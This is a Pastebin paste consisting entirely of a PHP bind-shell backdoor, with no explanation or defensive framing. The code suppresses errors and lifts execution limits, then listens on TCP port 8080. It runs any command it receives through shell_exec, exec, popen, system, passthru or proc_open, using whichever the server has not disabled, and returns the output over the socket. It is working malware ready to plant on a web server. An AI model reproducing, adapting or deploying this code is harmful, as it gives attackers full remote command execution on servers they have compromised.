Advertisement
Guest User

Untitled

a guest
Mar 22nd, 2018
97
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.50 KB | None | 0 0
  1. /*<?php /**/
  2. @error_reporting(0);
  3. @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0);
  4. $aeXpyP=@ini_get('disable_functions');
  5. if(!empty($aeXpyP)){
  6. $aeXpyP=preg_replace('/[, ]+/', ',', $aeXpyP);
  7. $aeXpyP=explode(',', $aeXpyP);
  8. $aeXpyP=array_map('trim', $aeXpyP);
  9. }else{
  10. $aeXpyP=array();
  11. }
  12.  
  13. $port=8080;
  14.  
  15. $scl='socket_create_listen';
  16. if(is_callable($scl)&&!in_array($scl,$aeXpyP)){
  17. $sock=@$scl($port);
  18. }else{
  19. $sock=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
  20. $ret=@socket_bind($sock,0,$port);
  21. $ret=@socket_listen($sock,5);
  22. }
  23. $msgsock=@socket_accept($sock);
  24. @socket_close($sock);
  25.  
  26. while(FALSE!==@socket_select($r=array($msgsock), $w=NULL, $e=NULL, NULL))
  27. {
  28. $o = '';
  29. $c=@socket_read($msgsock,2048,PHP_NORMAL_READ);
  30. if(FALSE===$c){break;}
  31. if(substr($c,0,3) == 'cd '){
  32. chdir(substr($c,3,-1));
  33. } else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
  34. break;
  35. }else{
  36.  
  37. if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {
  38. $c=$c." 2>&1\n";
  39. }
  40. $WOfN='is_callable';
  41. $BhAxY='in_array';
  42.  
  43. if($WOfN('shell_exec')and!$BhAxY('shell_exec',$aeXpyP)){
  44. $o=shell_exec($c);
  45. }else
  46. if($WOfN('exec')and!$BhAxY('exec',$aeXpyP)){
  47. $o=array();
  48. exec($c,$o);
  49. $o=join(chr(10),$o).chr(10);
  50. }else
  51. if($WOfN('popen')and!$BhAxY('popen',$aeXpyP)){
  52. $fp=popen($c,'r');
  53. $o=NULL;
  54. if(is_resource($fp)){
  55. while(!feof($fp)){
  56. $o.=fread($fp,1024);
  57. }
  58. }
  59. @pclose($fp);
  60. }else
  61. if($WOfN('system')and!$BhAxY('system',$aeXpyP)){
  62. ob_start();
  63. system($c);
  64. $o=ob_get_contents();
  65. ob_end_clean();
  66. }else
  67. if($WOfN('passthru')and!$BhAxY('passthru',$aeXpyP)){
  68. ob_start();
  69. passthru($c);
  70. $o=ob_get_contents();
  71. ob_end_clean();
  72. }else
  73. if($WOfN('proc_open')and!$BhAxY('proc_open',$aeXpyP)){
  74. $handle=proc_open($c,array(array('pipe','r'),array('pipe','w'),array('pipe','w')),$pipes);
  75. $o=NULL;
  76. while(!feof($pipes[1])){
  77. $o.=fread($pipes[1],1024);
  78. }
  79. @proc_close($handle);
  80. }else
  81. {
  82. $o=0;
  83. }
  84.  
  85. }
  86. @socket_write($msgsock,$o,strlen($o));
  87. }
  88. @socket_close($msgsock);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement